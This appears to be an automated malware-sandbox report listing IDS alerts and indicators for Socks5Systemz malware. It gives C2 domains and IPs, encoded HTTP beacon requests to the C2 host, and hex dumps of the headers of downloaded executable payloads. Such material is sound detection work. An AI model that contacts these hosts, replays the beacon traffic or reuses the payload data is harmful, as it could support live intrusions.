Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49962 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49968 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49968 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49974 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49974 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49980 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49980 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49991 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49991 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:49999 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:49999 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50011 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50011 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50004 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50004 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50030 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50030 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50028 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50028 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50034 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50034 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50036 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50036 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50040 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50040 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50017 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50035 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50017 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50042 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50031 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50035 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50031 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50042 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50049 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50049 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50029 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50041 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50032 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50029 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50032 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50038 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50047 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50039 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50041 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50051 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50051 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50052 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50038 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50033 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50033 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50039 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50046 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50059 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50047 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50059 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50048 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50023 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50037 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50055 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50048 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50057 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50043 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50057 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50046 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50023 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50055 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50052 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50043 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50044 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50044 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50045 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50045 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50056 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50056 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50054 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50037 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50050 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50050 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50054 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50058 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50058 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50060 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50060 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50061 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50061 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2049467 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M1 : 192.168.2.4:50053 -> 185.208.158.202:80
Source: Network traffic	Suricata IDS: 2050112 - Severity 1 - ET MALWARE [ANY.RUN] Socks5Systemz HTTP C2 Connection M2 : 192.168.2.4:50053 -> 185.208.158.202:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: boietuj.com
Source: Malware configuration extractor	IPs: 185.156.72.65
Source: Malware configuration extractor	IPs: 185.156.72.65
Source: Malware configuration extractor	IPs: 185.156.72.65
Source: Malware configuration extractor	IPs: 185.156.72.65

Source: global traffic

TCP traffic: 192.168.2.4:49864 -> 89.105.201.183:2023

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 04:02:18 GMTServer: Apache/2.4.52 (Ubuntu)Content-Disposition: attachment; filename="ONE.file";Content-Length: 4065622Keep-Alive: timeout=5, max=97Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 40 9c 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 50 09 00 00 00 10 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 64 93 00 00 00 10 00 00 00 94 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 4c 02 00 00 00 b0 00 00 00 04 00 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 88 0e 00 00 00 c0 00 00 00 00 00 00 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 50 09 00 00 00 d0 00 00 00 0a 00 00 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 e0 00 00 00 00 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 f0 00 00 00 02 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 b4 08 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 2c 00 00 00 10 01 00 00 2c 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 00 00 00 00 00 de 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 04:02:25 GMTServer: Apache/2.4.52 (Ubuntu)Content-Disposition: attachment; filename="PAB1.file";Content-Length: 4608Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 d9 07 c8 de 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 08 00 00 00 08 00 00 00 00 00 00 de 26 00 00 00 20 00 00 00 40 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 00 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8c 26 00 00 4f 00 00 00 00 40 00 00 bc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 0c 00 00 00 ec 25 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e4 06 00 00 00 20 00 00 00 08 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 bc 05 00 00 00 40 00 00 00 06 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 00 00 00 02 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 00 00 00 00 00 00 48 00 00 00 02 00 05 00 5c 20 00 00 90 05 00 00 01 00 00 00 01 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 2a 1e 02 28 0f 00 00 0a 2a 00 00 42 53 4a 42 01 00 01 00 00 00 00 00 0c 00 00 00 76 34 2e 30 2e 33 30 33 31 39 00 00 00 00 05 00 6c 00 00 00 c0 01 00 00 23 7e 00 00 2c 02 00 00 48 02 00 00 23 53 74 72 69 6e 67 73 00 00 00 00 74 04 00 00 04 00 00 00 23 55 53 00 78 04 00 00 10 00 00 00 23 47 55 49 44 00 00 00 88 04 00 00 08 01 00 00 23 42 6c 6f 62 00 00 00 00 00 00 00 02 00 00 01 47 15 00 00 09 00 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 10 00 00 00 02 00 00 00 02 00 00 00 01 00 00 00 0f 00 00 00 0e 00 00 00 01 00 00 00 01 00 00 00 00 00 78 01 01 00 00 00 00 00 06 00 ed 00 0c 02 06 00 5a 01 0c 02 06 00 21 00 da 01 0f 00 2c 02 00 00 06 00 49 00 b6 01 06 00 d0 00 b6 01 06 00 b1 00 b6 01 06 00 41 01 b6 01 06 00 0d 01 b6 01 06 00 26 01 b6 01 06 00 60 00 b6 01 06 00 35 00 ed 01 06 00 13 00 ed 01 06 00 94 00 b6 01 06 00 7b 00 88 01 06 00 40 02 aa 01 00 00 00 00 01 00 00 00 00 00 01 00 01 00 00 00 10 00 a2 01 c8 01 41 00 01 00 01 00 50 20 00 00

Source: Joe Sandbox View	IP Address: 185.208.158.202 185.208.158.202
Source: Joe Sandbox View	IP Address: 89.105.201.183 89.105.201.183

Source: Joe Sandbox View	ASN Name: ITDELUXE-ASRU ITDELUXE-ASRU
Source: Joe Sandbox View	ASN Name: SIMPLECARRER2IT SIMPLECARRER2IT

Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c440db22f31df92d8838ed12a666d307eca743ec4c2b07b529669238658ef814c4ef90 HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c440db22f31df92d8838ed12a666d307eca743ec4c2b07b529669238658ef814c4ef90 HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a HTTP/1.1Host: boietuj.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
